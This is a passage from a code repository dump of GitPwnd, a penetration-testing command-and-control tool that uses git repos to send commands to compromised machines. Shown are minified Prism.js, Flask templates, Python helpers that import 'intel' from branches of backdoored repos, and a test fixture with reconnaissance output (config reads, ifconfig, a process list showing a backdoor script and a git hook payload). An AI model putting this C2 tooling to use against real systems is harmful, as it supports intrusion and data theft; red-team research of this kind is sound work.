l,i,o=t;o&&!e.test(o.className);)o=o.parentNode;o&&(l=(o.className.match(e)||[,\"\"])[1].toLowerCase(),i=n.languages[l]),t.className=t.className.replace(e,\"\").replace(/\\s+/g,\" \")+\" language-\"+l,o=t.parentNode,/pre/i.test(o.nodeName)&&(o.className=o.className.replace(e,\"\").replace(/\\s+/g,\" \")+\" language-\"+l);var s=t.textContent,u={element:t,language:l,grammar:i,code:s};if(n.hooks.run(\"before-sanity-check\",u),!u.code||!u.grammar)return u.code&&(u.element.textContent=u.code),n.hooks.run(\"complete\",u),void 0;if(n.hooks.run(\"before-highlight\",u),a&&_self.Worker){var g=new Worker(n.filename);g.onmessage=function(e){u.highlightedCode=e.data,n.hooks.run(\"before-insert\",u),u.element.innerHTML=u.highlightedCode,r&&r.call(u.element),n.hooks.run(\"after-highlight\",u),n.hooks.run(\"complete\",u)},g.postMessage(JSON.stringify({language:u.language,code:u.code,immediateClose:!0}))}else u.highlightedCode=n.highlight(u.code,u.grammar,u.language),n.hooks.run(\"before-insert\",u),u.element.innerHTML=u.highlightedCode,r&&r.call(t),n.hooks.run(\"after-highlight\",u),n.hooks.run(\"complete\",u)},highlight:function(e,t,r){var l=n.tokenize(e,t);return a.stringify(n.util.encode(l),r)},tokenize:function(e,t){var a=n.Token,r=[e],l=t.rest;if(l){for(var i in l)t[i]=l[i];delete t.rest}e:for(var i in t)if(t.hasOwnProperty(i)&&t[i]){var o=t[i];o=\"Array\"===n.util.type(o)?o:[o];for(var s=0;s<o.length;++s){var u=o[s],g=u.inside,c=!!u.lookbehind,h=!!u.greedy,f=0,d=u.alias;if(h&&!u.pattern.global){var p=u.pattern.toString().match(/[imuy]*$/)[0];u.pattern=RegExp(u.pattern.source,p+\"g\")}u=u.pattern||u;for(var m=0,y=0;m<r.length;y+=r[m].length,++m){var v=r[m];if(r.length>e.length)break e;if(!(v instanceof a)){u.lastIndex=0;var b=u.exec(v),k=1;if(!b&&h&&m!=r.length-1){if(u.lastIndex=y,b=u.exec(e),!b)break;for(var w=b.index+(c?b[1].length:0),_=b.index+b[0].length,P=m,A=y,j=r.length;j>P&&_>A;++P)A+=r[P].length,w>=A&&(++m,y=A);if(r[m]instanceof a||r[P-1].greedy)continue;k=P-m,v=e.slice(y,A),b.index-=y}if(b){c&&(f=b[1].length);var w=b.index+f,b=b[0].slice(f),_=w+b.length,x=v.slice(0,w),O=v.slice(_),S=[m,k];x&&S.push(x);var N=new a(i,g?n.tokenize(b,g):b,d,b,h);S.push(N),O&&S.push(O),Array.prototype.splice.apply(r,S)}}}}}return r},hooks:{all:{},add:function(e,t){var a=n.hooks.all;a[e]=a[e]||[],a[e].push(t)},run:function(e,t){var a=n.hooks.all[e];if(a&&a.length)for(var r,l=0;r=a[l++];)r(t)}}},a=n.Token=function(e,t,n,a,r){this.type=e,this.content=t,this.alias=n,this.length=0|(a||\"\").length,this.greedy=!!r};if(a.stringify=function(e,t,r){if(\"string\"==typeof e)return e;if(\"Array\"===n.util.type(e))return e.map(function(n){return a.stringify(n,t,e)}).join(\"\");var l={type:e.type,content:a.stringify(e.content,t,r),tag:\"span\",classes:[\"token\",e.type],attributes:{},language:t,parent:r};if(\"comment\"==l.type&&(l.attributes.spellcheck=\"true\"),e.alias){var i=\"Array\"===n.util.type(e.alias)?e.alias:[e.alias];Array.prototype.push.apply(l.classes,i)}n.hooks.run(\"wrap\",l);var o=Object.keys(l.attributes).map(function(e){return e+'=\"'+(l.attributes[e]||\"\").replace(/\"/g,\"&quot;\")+'\"'}).join(\" \");return\"<\"+l.tag+' class=\"'+l.classes.join(\" \")+'\"'+(o?\" \"+o:\"\")+\">\"+l.content+\"</\"+l.tag+\">\"},!_self.document)return _self.addEventListener?(_self.addEventListener(\"message\",function(e){var t=JSON.parse(e.data),a=t.language,r=t.code,l=t.immediateClose;_self.postMessage(n.highlight(r,n.languages[a],a)),l&&_self.close()},!1),_self.Prism):_self.Prism;var r=document.currentScript||[].slice.call(document.getElementsByTagName(\"script\")).pop();return r&&(n.filename=r.src,!document.addEventListener||n.manual||r.hasAttribute(\"data-manual\")||(\"loading\"!==document.readyState?window.requestAnimationFrame?window.requestAnimationFrame(n.highlightAll):window.setTimeout(n.highlightAll,16):document.addEventListener(\"DOMContentLoaded\",n.highlightAll))),_self.Prism}();\"undefined\"!=typeof module&&module.exports&&(module.exports=Prism),\"undefined\"!=typeof global&&(global.Prism=Prism);\nPrism.languages.markup={comment:/<!--[\\w\\W]*?-->/,prolog:/<\\?[\\w\\W]+?\\?>/,doctype:/<!DOCTYPE[\\w\\W]+?>/i,cdata:/<!\\[CDATA\\[[\\w\\W]*?]]>/i,tag:{pattern:/<\\/?(?!\\d)[^\\s>\\/=$<]+(?:\\s+[^\\s>\\/=]+(?:=(?:(\"|')(?:\\\\\\1|\\\\?(?!\\1)[\\w\\W])*\\1|[^\\s'\">=]+))?)*\\s*\\/?>/i,inside:{tag:{pattern:/^<\\/?[^\\s>\\/]+/i,inside:{punctuation:/^<\\/?/,namespace:/^[^\\s>\\/:]+:/}},\"attr-value\":{pattern:/=(?:('|\")[\\w\\W]*?(\\1)|[^\\s>]+)/i,inside:{punctuation:/[=>\"']/}},punctuation:/\\/?>/,\"attr-name\":{pattern:/[^\\s>\\/]+/,inside:{namespace:/^[^\\s>\\/:]+:/}}}},entity:/&#?[\\da-z]{1,8};/i},Prism.hooks.add(\"wrap\",function(a){\"entity\"===a.type&&(a.attributes.title=a.content.replace(/&amp;/,\"&\"))}),Prism.languages.xml=Prism.languages.markup,Prism.languages.html=Prism.languages.markup,Prism.languages.mathml=Prism.languages.markup,Prism.languages.svg=Prism.languages.markup;\nPrism.languages.css={comment:/\\/\\*[\\w\\W]*?\\*\\//,atrule:{pattern:/@[\\w-]+?.*?(;|(?=\\s*\\{))/i,inside:{rule:/@[\\w-]+/}},url:/url\\((?:([\"'])(\\\\(?:\\r\\n|[\\w\\W])|(?!\\1)[^\\\\\\r\\n])*\\1|.*?)\\)/i,selector:/[^\\{\\}\\s][^\\{\\};]*?(?=\\s*\\{)/,string:{pattern:/(\"|')(\\\\(?:\\r\\n|[\\w\\W])|(?!\\1)[^\\\\\\r\\n])*\\1/,greedy:!0},property:/(\\b|\\B)[\\w-]+(?=\\s*:)/i,important:/\\B!important\\b/i,\"function\":/[-a-z0-9]+(?=\\()/i,punctuation:/[(){};:]/},Prism.languages.css.atrule.inside.rest=Prism.util.clone(Prism.languages.css),Prism.languages.markup&&(Prism.languages.insertBefore(\"markup\",\"tag\",{style:{pattern:/(<style[\\w\\W]*?>)[\\w\\W]*?(?=<\\/style>)/i,lookbehind:!0,inside:Prism.languages.css,alias:\"language-css\"}}),Prism.languages.insertBefore(\"inside\",\"attr-value\",{\"style-attr\":{pattern:/\\s*style=(\"|').*?\\1/i,inside:{\"attr-name\":{pattern:/^\\s*style/i,inside:Prism.languages.markup.tag.inside},punctuation:/^\\s*=\\s*['\"]|['\"]\\s*$/,\"attr-value\":{pattern:/.+/i,inside:Prism.languages.css}},alias:\"language-css\"}},Prism.languages.markup.tag));\nPrism.languages.clike={comment:[{pattern:/(^|[^\\\\])\\/\\*[\\w\\W]*?\\*\\//,lookbehind:!0},{pattern:/(^|[^\\\\:])\\/\\/.*/,lookbehind:!0}],string:{pattern:/([\"'])(\\\\(?:\\r\\n|[\\s\\S])|(?!\\1)[^\\\\\\r\\n])*\\1/,greedy:!0},\"class-name\":{pattern:/((?:\\b(?:class|interface|extends|implements|trait|instanceof|new)\\s+)|(?:catch\\s+\\())[a-z0-9_\\.\\\\]+/i,lookbehind:!0,inside:{punctuation:/(\\.|\\\\)/}},keyword:/\\b(if|else|while|do|for|return|in|instanceof|function|new|try|throw|catch|finally|null|break|continue)\\b/,\"boolean\":/\\b(true|false)\\b/,\"function\":/[a-z0-9_]+(?=\\()/i,number:/\\b-?(?:0x[\\da-f]+|\\d*\\.?\\d+(?:e[+-]?\\d+)?)\\b/i,operator:/--?|\\+\\+?|!=?=?|<=?|>=?|==?=?|&&?|\\|\\|?|\\?|\\*|\\/|~|\\^|%/,punctuation:/[{}[\\];(),.:]/};\nPrism.languages.javascript=Prism.languages.extend(\"clike\",{keyword:/\\b(as|async|await|break|case|catch|class|const|continue|debugger|default|delete|do|else|enum|export|extends|finally|for|from|function|get|if|implements|import|in|instanceof|interface|let|new|null|of|package|private|protected|public|return|set|static|super|switch|this|throw|try|typeof|var|void|while|with|yield)\\b/,number:/\\b-?(0x[\\dA-Fa-f]+|0b[01]+|0o[0-7]+|\\d*\\.?\\d+([Ee][+-]?\\d+)?|NaN|Infinity)\\b/,\"function\":/[_$a-zA-Z\\xA0-\\uFFFF][_$a-zA-Z0-9\\xA0-\\uFFFF]*(?=\\()/i,operator:/--?|\\+\\+?|!=?=?|<=?|>=?|==?=?|&&?|\\|\\|?|\\?|\\*\\*?|\\/|~|\\^|%|\\.{3}/}),Prism.languages.insertBefore(\"javascript\",\"keyword\",{regex:{pattern:/(^|[^\\/])\\/(?!\\/)(\\[.+?]|\\\\.|[^\\/\\\\\\r\\n])+\\/[gimyu]{0,5}(?=\\s*($|[\\r\\n,.;})]))/,lookbehind:!0,greedy:!0}}),Prism.languages.insertBefore(\"javascript\",\"string\",{\"template-string\":{pattern:/`(?:\\\\\\\\|\\\\?[^\\\\])*?`/,greedy:!0,inside:{interpolation:{pattern:/\\$\\{[^}]+\\}/,inside:{\"interpolation-punctuation\":{pattern:/^\\$\\{|\\}$/,alias:\"punctuation\"},rest:Prism.languages.javascript}},string:/[\\s\\S]+/}}}),Prism.languages.markup&&Prism.languages.insertBefore(\"markup\",\"tag\",{script:{pattern:/(<script[\\w\\W]*?>)[\\w\\W]*?(?=<\\/script>)/i,lookbehind:!0,inside:Prism.languages.javascript,alias:\"language-javascript\"}}),Prism.languages.js=Prism.languages.javascript;\nPrism.languages.json={property:/\"(?:\\\\.|[^\\\\\"])*\"(?=\\s*:)/gi,string:/\"(?!:)(?:\\\\.|[^\\\\\"])*\"(?!:)/g,number:/\\b-?(0x[\\dA-Fa-f]+|\\d*\\.?\\d+([Ee][+-]?\\d+)?)\\b/g,punctuation:/[{}[\\]);,]/g,operator:/:/g,\"boolean\":/\\b(true|false)\\b/gi,\"null\":/\\bnull\\b/gi},Prism.languages.jsonp=Prism.languages.json;\n"
  },
  {
    "path": "server/gitpwnd/templates/index.html",
    "content": "{% extends \"layout.html\" %}\n{% block body %}\n<h2>Home</h2>\n\n<p>Welcome to GitPwnd! GitPwnd is a network penetration tool that provides \ncommand and control functionality, that is, sending commands to compromised \nmachines and receiving their output, using <code>git</code> repos.</p>\n\n<p>For more details, see the <a href=\"https://www.blackhat.com/us-17/briefings.html#developing-trust-and-gitting-betrayed\">BlackHat USA 2017</a>\ntalk or <a href=\"https://github.com/nccgroup/gitpwnd\">the source on GitHub</a>.</p>\n\n<p>See information extracted from compromised machines by clicking on \"Nodes\" in the top right.\n\n{% endblock %}\n"
  },
  {
    "path": "server/gitpwnd/templates/layout.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n\n<!-- http://flask.pocoo.org/docs/0.12/tutorial/templates/ -->\n<title>GitPwnd</title>\n<link rel=stylesheet type='text/css' href=\"{{ url_for('static', filename='css/bootstrap.min.css') }}\">\n<link rel=stylesheet type='text/css' href=\"{{ url_for('static', filename='css/bootstrap-reboot.min.css') }}\">\n<link rel=stylesheet type='text/css' href=\"{{ url_for('static', filename='css/bootstrap-grid.min.css') }}\">\n<link rel=stylesheet type='text/css' href=\"{{ url_for('static', filename='css/prism.css') }}\">\n<script src=\"{{url_for('static', filename='js/jquery-3.1.1.min.js')}}\"></script>\n<script src=\"{{url_for('static', filename='js/tether.min.js')}}\"></script>\n<script src=\"{{url_for('static', filename='js/bootstrap.min.js')}}\"></script>\n<script src=\"{{url_for('static', filename='js/prism.js')}}\"></script>\n\n{% block html_head %}{% endblock %}\n</head>\n\n<body>\n\n<div class=page>\n    <!-- More examples of navbar: https://v4-alpha.getbootstrap.com/components/navbar/ -->\n\n    <!-- Borrowed from: https://v4-alpha.getbootstrap.com/examples/narrow-jumbotron/ -->\n    <div class=\"header clearfix\">\n        <nav>\n            <ul class=\"nav nav-pills float-right\">\n                <li class=\"nav-item\">\n                    <!-- Can add \"active\" as a class here to make it highlighted nicely\n                         TODO: make it so the right icon is highlighted for the current page -->\n                    <a class=\"nav-link\" href=\"{{ url_for('index')}}\">Home <span class=\"sr-only\">(current)</span></a>\n                </li>\n                <li class=\"nav-item\">\n                    <a class=\"nav-link\" href=\"{{ url_for('setup')}}\">Setup</a>\n                </li>\n                <li class=\"nav-item\">\n                    <a class=\"nav-link\" href=\"{{ url_for('nodes')}}\">Nodes</a>\n                </li>\n            </ul>\n        </nav>\n        <h3 class=\"\">GitPwnd</h3>\n    </div>\n\n    {% for message in get_flashed_messages() %}\n    <div class=flash>{{ message }}</div>\n    {% endfor %}\n\n    </br>\n\n    <div class=\"container\">\n    {% block body %}{% endblock %}\n    </div>\n</div>\n\n</body>\n</html>\n"
  },
  {
    "path": "server/gitpwnd/templates/macros.html",
    "content": "{# Macros for nodes.html #}\n\n{% macro display_intel(intel_name, intel_value, type='string') -%}\n<h5>{{intel_name}}</h5>\n\n{% if type == \"string\" %}\n    {{intel_value}}\n{% elif type == \"json\" %}\n\n<pre><code class=\"language-json\">\n{{intel_value}}\n</code></pre>\n\n{% elif type == \"shell_command\" %}\n<pre><code>\n##########\n# stdout #\n##########\n{{intel_value[\"stdout\"]}}\n\n##########\n# stderr #\n##########\n{{intel_value[\"stderr\"]}}\n</code></pre>\n\n{% else %}\n    <pre>\n    {{intel_value}}\n    </pre>\n{% endif %}\n{%- endmacro %}\n"
  },
  {
    "path": "server/gitpwnd/templates/nodes.html",
    "content": "{% extends \"layout.html\" %}\n{% block body %}\n\n{% import 'macros.html' as macros %}\n\n<h2>Nodes</h2>\n\nThis page lists all of the info that has been extracted from any node.\n\n<hr>\n\n<!-- TODO: implement collapsible stuff: http://v4-alpha.getbootstrap.com/components/collapse/ -->\n\n{% for repo_name, node_dict in intel.items() %}\n<h2> Repo: <b>{{repo_name}}</b></h2>\n\n  {% for node_name, intel_list in node_dict.items() %}\n      <h3>Node: <b>{{node_name}}</b></h3>\n\n      {% for intel_dict in intel_list %}\n      <h4>Extracted on: <b>{{intel_dict[\"time_ran\"][\"value\"]}}</b></h4>\n        {% for k,v in intel_dict.items() %}\n          {{ macros.display_intel(k, v[\"value\"], v[\"type\"]) }}\n\n        {% endfor %}\n\n      {% endfor %}\n\n  <h5>\n\n  {% endfor %}\n\n{% endfor %}\n\n{% endblock %}\n"
  },
  {
    "path": "server/gitpwnd/templates/setup.html",
    "content": "{% extends \"layout.html\" %}\n{% block body %}\n<h2>Setup</h2>\n\n<p>See <code>gitpwnd/README.md</code> for how to set up GitPwnd.</p>\n\n<p>Essentially, all you have to do is customize <code>config.yml</code> and then run <code>setup.py</code>.</p>\n{% endblock %}\n"
  },
  {
    "path": "server/gitpwnd/util/__init__.py",
    "content": ""
  },
  {
    "path": "server/gitpwnd/util/crypto_helper.py",
    "content": "import hmac\nimport hashlib\n\nfrom gitpwnd import app\n\nclass CryptoHelper:\n\n    @staticmethod\n    def verify_signature(payload, secret):\n        key = app.config[\"HOOK_SECRET\"].encode('utf-8')\n        h = hmac.new(key, digestmod=hashlib.sha1)\n        h.update(payload.encode('utf-8'))\n        signature = \"sha1=\" + h.hexdigest()\n\n        return hmac.compare_digest(signature, secret)\n"
  },
  {
    "path": "server/gitpwnd/util/file_helper.py",
    "content": "import os\n\nclass FileHelper:\n\n    @staticmethod\n    # Create a directory if it doesn't exist\n    def ensure_directory(dirname):\n        if not os.path.exists(dirname):\n            os.makedirs(dirname)\n"
  },
  {
    "path": "server/gitpwnd/util/git_helper.py",
    "content": "import os\nimport json\nimport git  # gitpython\n\nfrom gitpwnd import app\nfrom gitpwnd.util.file_helper import FileHelper\n\nclass GitHelper:\n\n    # http://stackoverflow.com/questions/12179271/python-classmethod-and-staticmethod-for-beginner\n    @staticmethod\n    def save_intel(repo_name, branch_name, repo_path, intel_root):\n        # TODO: \"results.json\" is hardcoded in payload.py\n        # this should be abstracted to config.yml or something\n        intel_file = os.path.join(repo_path, \"results.json\")\n        print(\"[*] Reading intel file from: %s\" % intel_file)\n        with open(intel_file, 'r') as f:\n            intel_json = json.load(f)\n\n        # Have subdir for each node's intel\n        node_id = branch_name\n        output_dir = os.path.join(intel_root, repo_name, node_id)\n        FileHelper.ensure_directory(output_dir)\n        output_file = os.path.join(output_dir, \"%s.json\" % intel_json[\"time_ran\"].replace(\" \", \"_\"))\n        print(\"[*] Storing intel file to: %s\" % output_file)\n\n        with open(output_file, 'w') as f:\n            json.dump(intel_json, f)\n\n    @staticmethod\n    def import_intel_from_branch(repo_name, branch_name, backdoored_repos_root, intel_root):\n\n        repo_path = os.path.join(backdoored_repos_root, repo_name)\n        repo = git.Repo(repo_path)\n\n        # http://gitpython.readthedocs.io/en/stable/tutorial.html#using-git-directly\n        # Tried using the other ways of using gitpython but this appears easiest\n        g = repo.git\n\n        g.pull() # make sure we have the latest branches\n        g.checkout(branch_name)\n        g.pull() # make sure we have the latest results.json\n\n        GitHelper.save_intel(repo_name, branch_name, repo_path, intel_root)\n\n        g.checkout(\"master\")\n"
  },
  {
    "path": "server/gitpwnd/util/intel_helper.py",
    "content": "import json\nimport os\n\n# Helper class for\nclass IntelHelper:\n\n    @staticmethod\n    def parse_node_dir(node_dir):\n        node_results = []\n\n        for intel in os.listdir(node_dir):\n            intel_file = os.path.join(node_dir, intel)\n\n            with open(intel_file, 'r') as f:\n                node_results.append(json.load(f))\n                # parsed_json = json.load(f)\n                # node_results[str(parsed_json[\"time_ran\"])] = parsed_json\n\n        return node_results\n\n    @staticmethod\n    def parse_repo_dir(repo_dir):\n        intel = {}\n        # In intel_dir, each subdirectory corresponds to a node_id, and each file in\n        # a node's directory is a json file corresponding to what we've extracted.\n        #\n        # Filename of these individual intel files is currently the time when the extraction happened.\n\n        for subdir in os.listdir(repo_dir):\n            node_dir = os.path.join(repo_dir, subdir)\n            intel[subdir] = IntelHelper.parse_node_dir(node_dir)\n\n        return intel # this was fun to write\n\n    # Returns:\n    # {\n    # \"repo_name\" => {\n    #    \"node_name\" => [ intel_extracted1_json, intel_extracted2_json ],\n    #    ...\n    #  }\n    # }\n    @staticmethod\n    def parse_all_intel_files(intel_dir):\n        results = {}\n\n        for subdir in os.listdir(intel_dir):\n            repo_dir = os.path.join(intel_dir, subdir)\n\n            results[subdir] = IntelHelper.parse_repo_dir(repo_dir)\n\n        return results\n\n    @staticmethod\n    def json_prettyprint_intel(intel_dict):\n        # intel_dict has the structure of the return value from parse_all_intel_files\n        results = {}\n        for repo_name, node_dict in intel_dict.items():\n            tmp = {}\n            for node_name, intel_list in node_dict.items():\n                tmp[node_name] = [IntelHelper.annotate_intel_dict(x) for x in intel_list]\n\n            results[repo_name] = tmp\n\n        return results\n\n    @staticmethod\n    def annotate_intel_dict(intel_dict):\n        # Turns each \"value\" for a node from: {'attr_name' => '<value>'} to\n        # {'attr_name' => {'type' => '<type>', 'value' => '<value>'} }\n        # where type := ['string' | 'json' | 'shell_command' | 'long_string']\n        #   'long_string' = a string that's multiple lines\n        #\n        results = {}\n        for intel_name, intel_value in intel_dict.items():\n            intel_name = str(intel_name)\n\n            if type(intel_value) is dict:\n                if \"stderr\" in intel_value:\n                    results[intel_name] = {\"type\": \"shell_command\",\n                                           \"value\": {\n                                               \"stderr\": str(intel_value[\"stderr\"]),\n                                               \"stdout\": str(intel_value[\"stdout\"])\n                                           }}\n                else:\n                    results[intel_name] = { \"type\": \"json\",\n                                            \"value\": json.dumps(intel_value, sort_keys=True, indent=4, separators=(',', ': '))}\n            elif intel_value.count(\"\\n\") > 0:\n                results[intel_name] = {\"type\": \"long_string\",\n                                       \"value\": str(intel_value)}\n            else:\n                results[intel_name] = {\"type\": \"string\",\n                                       \"value\": str(intel_value)}\n\n        return results\n"
  },
  {
    "path": "server/requirements.txt",
    "content": "appnope==0.1.0\nbackports.shutil-get-terminal-size==1.0.0\nclick==6.6\ndecorator==4.0.10\nFlask==1.0\nipdb==0.10.1\nipython==5.0.0\nipython-genutils==0.1.0\nitsdangerous==0.24\nJinja2>=2.10.1\nMarkupSafe==0.23\npathlib2==2.1.0\npexpect==4.2.0\npickleshare==0.7.3\nprompt-toolkit==1.0.3\nptyprocess==0.5.1\nPygments==2.7.4\nsimplegeneric==0.8.1\nsix==1.10.0\ntraitlets==4.2.2\nwcwidth==0.1.7\nWerkzeug==0.15.3\ngitpython\nFlask-BasicAuth\npyyaml\npyopenssl\n"
  },
  {
    "path": "server/run_ipython.sh",
    "content": "#!/usr/bin/env python2.7\n\nfrom IPython import start_ipython\nstart_ipython()\n\n"
  },
  {
    "path": "server/server.py",
    "content": "from gitpwnd import app  # defined in gitpwnd/__init__.py\n\n#################\n# Server config #\n#################\n\napp.secret_key = \"blah-doesn't-matter\"\n\nif __name__ == \"__main__\":\n    # Note: that the '0.0.0.0' makes the server publicly accessible, be careful friend\n    app.run(host='0.0.0.0', ssl_context='adhoc')\n"
  },
  {
    "path": "server/server_creds.yml.template",
    "content": "basic_auth_username: \"gitpwnd\"\nbasic_auth_password: \"$basic_auth_password\"\nbenign_repo_path: \"$benign_repo_path\"\nhook_secret: \"$hook_secret\""
  },
  {
    "path": "server/tests/sample_intel.json",
    "content": "{\"service_configs\": {\"syslog\": {\"stdout\": \"\", \"stderr\": \"cat: /etc/syslog.conf: No such file or directory\\n\"}, \"chttp\": {\"stdout\": \"\", \"stderr\": \"cat: /etc/chttp.conf: No such file or directory\\n\"}, \"httpd_opt\": {\"stdout\": \"\", \"stderr\": \"cat: /opt/lampp/etc/httpd.conf: No such file or directory\\n\"}, \"inetd\": {\"stdout\": \"\", \"stderr\": \"cat: /etc/inetd.conf: No such file or directory\\n\"}, \"httpd\": {\"stdout\": \"\", \"stderr\": \"cat: /etc/httpd/conf/httpd.conf: No such file or directory\\n\"}, \"cupsd\": {\"stdout\": \"\", \"stderr\": \"cat: /etc/cups/cupsd.conf: No such file or directory\\n\"}, \"lighthttpd\": {\"stdout\": \"\", \"stderr\": \"cat: /etc/lighttpd.conf: No such file or directory\\n\"}, \"my\": {\"stdout\": \"\", \"stderr\": \"cat: /etc/my.conf: No such file or directory\\n\"}}, \"ifconfig\": {\"stdout\": \"eth0      Link encap:Ethernet  HWaddr 0A:DD:E0:B4:67:30  \\n          inet addr:172.31.23.37  Bcast:172.31.31.255  Mask:255.255.240.0\\n          inet6 addr: fe80::8dd:e0ff:feb4:6730/64 Scope:Link\\n          UP BROADCAST RUNNING MULTICAST  MTU:9001  Metric:1\\n          RX packets:94613 errors:0 dropped:0 overruns:0 frame:0\\n          TX packets:95000 errors:0 dropped:0 overruns:0 carrier:0\\n          collisions:0 txqueuelen:1000 \\n          RX bytes:24677385 (23.5 MiB)  TX bytes:6614665 (6.3 MiB)\\n\\nlo        Link encap:Local Loopback  \\n          inet addr:127.0.0.1  Mask:255.0.0.0\\n          inet6 addr: ::1/128 Scope:Host\\n          UP LOOPBACK RUNNING  MTU:65536  Metric:1\\n          RX packets:26 errors:0 dropped:0 overruns:0 frame:0\\n          TX packets:26 errors:0 dropped:0 overruns:0 carrier:0\\n          collisions:0 txqueuelen:1 \\n          RX bytes:2747 (2.6 KiB)  TX bytes:2747 (2.6 KiB)\\n\\n\", \"stderr\": \"\"}, \"mac_address\": \"0A:DD:E0:B4:67:30\", \"ps_services\": {\"stdout\": \"USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND\\nroot         1  0.0  0.2  19628  2572 ?        Ss   Jul06   0:00 /sbin/init\\nroot         2  0.0  0.0      0     0 ?        S    Jul06   0:00 [kthreadd]\\nroot         3  0.0  0.0      0     0 ?        S    Jul06   0:00 [ksoftirqd/0]\\nroot         4  0.0  0.0      0     0 ?        S    Jul06   0:00 [kworker/0:0]\\nroot         5  0.0  0.0      0     0 ?        S<   Jul06   0:00 [kworker/0:0H]\\nroot         7  0.0  0.0      0     0 ?        S    Jul06   0:05 [rcu_sched]\\nroot         8  0.0  0.0      0     0 ?        S    Jul06   0:00 [rcu_bh]\\nroot         9  0.0  0.0      0     0 ?        S    Jul06   0:00 [migration/0]\\nroot        10  0.0  0.0      0     0 ?        S<   Jul06   0:00 [lru-add-drain]\\nroot        11  0.0  0.0      0     0 ?        S    Jul06   0:00 [cpuhp/0]\\nroot        12  0.0  0.0      0     0 ?        S    Jul06   0:00 [kdevtmpfs]\\nroot        13  0.0  0.0      0     0 ?        S<   Jul06   0:00 [netns]\\nroot        16  0.0  0.0      0     0 ?        S    Jul06   0:00 [xenwatch]\\nroot        17  0.0  0.0      0     0 ?        S    Jul06   0:03 [kworker/u30:2]\\nroot        21  0.0  0.0      0     0 ?        S    Jul06   0:00 [xenbus]\\nroot       139  0.0  0.0      0     0 ?        S    Jul06   0:00 [khungtaskd]\\nroot       140  0.0  0.0      0     0 ?        S    Jul06   0:00 [oom_reaper]\\nroot       141  0.0  0.0      0     0 ?        S<   Jul06   0:00 [writeback]\\nroot       143  0.0  0.0      0     0 ?        S    Jul06   0:00 [kcompactd0]\\nroot       144  0.0  0.0      0     0 ?        SN   Jul06   0:00 [ksmd]\\nroot       145  0.0  0.0      0     0 ?        SN   Jul06   0:00 [khugepaged]\\nroot       146  0.0  0.0      0     0 ?        S<   Jul06   0:00 [crypto]\\nroot       147  0.0  0.0      0     0 ?        S<   Jul06   0:00 [kintegrityd]\\nroot       148  0.0  0.0      0     0 ?        S<   Jul06   0:00 [bioset]\\nroot       150  0.0  0.0      0     0 ?        S<   Jul06   0:00 [kblockd]\\nroot       500  0.0  0.0      0     0 ?        S<   Jul06   0:00 [md]\\nroot       627  0.0  0.0      0     0 ?        S    Jul06   0:00 [kswapd0]\\nroot       628  0.0  0.0      0     0 ?        S<   Jul06   0:00 [vmstat]\\nroot       724  0.0  0.0      0     0 ?        S<   Jul06   0:00 [kthrotld]\\nroot       768  0.0  0.0      0     0 ?        S<   Jul06   0:00 [bioset]\\njoedev     796  4.0  1.4 204364 14616 pts/0    S+   21:52   0:00 python backdoor.py\\njoedev     805  3.0  1.1 189088 11492 pts/0    S+   21:52   0:00 python /home/joedev/.local/lib/python2.7/site-packages/ipdb/.git/hooks/post-merge.sample\\njoedev     825  0.0  0.2 117204  2464 pts/0    R+   21:52   0:00 ps aux\\nroot      1401  0.0  0.0      0     0 ?        S<   Jul06   0:00 [ata_sff]\\nroot      1414  0.0  0.0      0     0 ?        S    Jul06   0:00 [scsi_eh_0]\\nroot      1415  0.0  0.0      0     0 ?        S<   Jul06   0:00 [scsi_tmf_0]\\nroot      1418  0.0  0.0      0     0 ?        S    Jul06   0:00 [scsi_eh_1]\\nroot      1431  0.0  0.0      0     0 ?        S<   Jul06   0:00 [scsi_tmf_1]\\nroot      1490  0.0  0.0      0     0 ?        S    Jul06   0:02 [jbd2/xvda1-8]\\nroot      1491  0.0  0.0      0     0 ?        S<   Jul06   0:00 [ext4-rsv-conver]\\nroot      1532  0.0  0.2  11448  2740 ?        Ss   Jul06   0:00 /sbin/udevd -d\\nroot      1655  0.0  0.2  11316  2148 ?        S    Jul06   0:00 /sbin/udevd -d\\nroot      1780  0.0  0.0      0     0 ?        S    Jul06   0:45 [kworker/0:2]\\nroot      1818  0.0  0.0      0     0 ?        S<   Jul06   0:00 [kworker/0:1H]\\nroot      1841  0.0  0.0      0     0 ?        S    Jul06   0:00 [kauditd]\\nroot      1856  0.0  0.0 109084   740 ?        Ss   Jul06   0:00 lvmetad\\nroot      1865  0.0  0.0  27140   200 ?        Ss   Jul06   0:00 lvmpolld\\nroot      1917  0.0  0.0      0     0 ?        S<   Jul06   0:00 [ipv6_addrconf]\\nroot      2064  0.0  0.2   9356  2148 ?        Ss   Jul06   0:00 /sbin/dhclient -q -lf /var/lib/dhclient/dhclient-eth0.leases -pf /var/run/dhclient-eth0.pid eth0\\nroot      2188  0.0  0.1   9356  1860 ?        Ss   Jul06   0:02 /sbin/dhclient -6 -nw -lf /var/lib/dhclient/dhclient6-eth0.leases -pf /var/run/dhclient6-eth0.pid eth0\\nroot      2235  0.0  0.2  52948  2208 ?        S<sl Jul06   0:00 auditd\\nroot      2256  0.0  0.2 247456  3032 ?        Sl   Jul06   0:01 /sbin/rsyslogd -i /var/run/syslogd.pid -c 5\\nroot      2278  0.0  0.0   4372    88 ?        Ss   Jul06   0:24 rngd --no-tpm=1 --quiet\\nrpc       2296  0.0  0.2  35308  2300 ?        Ss   Jul06   0:01 rpcbind\\nrpcuser   2317  0.0  0.3  39876  3304 ?        Ss   Jul06   0:00 rpc.statd\\ndbus      2348  0.0  0.0  21788   228 ?        Ss   Jul06   0:00 dbus-daemon --system\\nroot      2383  0.0  0.1   4340  1380 ?        Ss   Jul06   0:00 /usr/sbin/acpid\\nroot      2530  0.0  0.2  79984  2660 ?        Ss   Jul06   0:00 /usr/sbin/sshd\\nntp       2540  0.0  0.4  29288  4356 ?        Ss   Jul06   0:01 ntpd -u ntp:ntp -p /var/run/ntpd.pid -g\\nroot      2560  0.0  0.5  89024  5120 ?        Ss   Jul06   0:33 sendmail: accepting connections\\nsmmsp     2569  0.0  0.4  80488  4172 ?        Ss   Jul06   0:00 sendmail: Queue runner@01:00:00 for /var/spool/clientmqueue\\nroot      2581  0.0  0.2 121592  2384 ?        Ss   Jul06   0:03 crond\\nroot      2595  0.0  0.0  19132   164 ?        Ss   Jul06   0:00 /usr/sbin/atd\\nroot      2628  0.0  0.1   6452  1620 ttyS0    Ss+  Jul06   0:00 /sbin/agetty ttyS0 9600 vt100-nav\\nroot      2631  0.0  